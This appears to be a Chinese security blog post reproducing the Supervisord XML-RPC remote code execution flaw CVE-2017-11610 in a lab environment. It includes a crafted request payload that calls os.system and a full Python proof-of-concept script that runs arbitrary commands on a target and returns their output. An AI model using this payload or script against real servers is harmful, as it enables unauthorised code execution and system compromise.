Supervisord 远程代码执行漏洞(CVE-2017-11610)漏洞复现

漏洞信息

Supervisord是使用Python 开发的进程管理程序,Supervisord能够将命令行进程或服务变为后台运行的deamon(守护进程)。Supervisord拥有监控进程状态的功能,在进程异常退出时能够自动重启进程。

Supervisord在配置了Web接口后,服务器会启动一个XMLRPC服务器,端口号为9001,利用本漏洞,在获取接口访问权限后,远程攻击者可利用发送一段精心构造的请求,导致可在服务器执行任意代码。

漏洞影响版本

Supervisord 3.1.2 <= Version <= 3.3.2

开启环境

https://www.77169.net/wp-content/uploads/2020/05/0-1588556883.png

抓包 发送到重发器 添加一下代码

<?xml version="1.0"?>

<methodCall>

<methodName>supervisor.supervisord.options.warnings.linecache.os.system</methodName>

<params>

<param>

<string>touch /tmp/success</string>

</param>

</params>

</methodCall>

http头改成POST /RPC2

发送
0-1588556884.png

运行poc.py执行代码执行
0-1588556884.png
poc.py代码

#!/usr/bin/env python3

import xmlrpc.client

import sys

target = sys.argv[1]

command = sys.argv[2]

with xmlrpc.client.ServerProxy(target) as proxy:

    old = getattr(proxy, 'supervisor.readLog')(0,0)

    logfile = getattr(proxy, 'supervisor.supervisord.options.logfile.strip')()

    getattr(proxy, 'supervisor.supervisord.options.warnings.linecache.os.system')('{} | tee -a {}'.format(command, logfile))

    result = getattr(proxy, 'supervisor.readLog')(0,0)

    print(result[len(old):])

www.idc126.com
注:本文只提供指数分享,请勿用作非法用途

执行漏洞(10)漏洞复现(18)远程代码(8)

本文经授权后发布,本文观点不代表立场,转载请联系原作者。
Facebook 开出历史最高赏金,55,000 美元奖励十年漏洞发现者
« 上一篇 05-05
上报软件漏洞拿了奖金 “双面”黑客却又利用漏洞卖钱
下一篇 » 05-05

相关推荐

红队防猝死手册

文章来源:https://github.com/zhutougg/RedteamStandard一切为了不丢分工作环境工作时全部操作均在虚拟机中完成虚拟机...

Android渗透工具集合

Android安全测试更多地被安全行业用来测试Android应用程序中的漏洞。下面将列举全面的Android渗透测试工具和资源列表,其涵盖了在Andro...

基于社工的钓鱼研究

声明由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测以及文章作者不为此承担任何责任。雷神众测拥有对此文章的...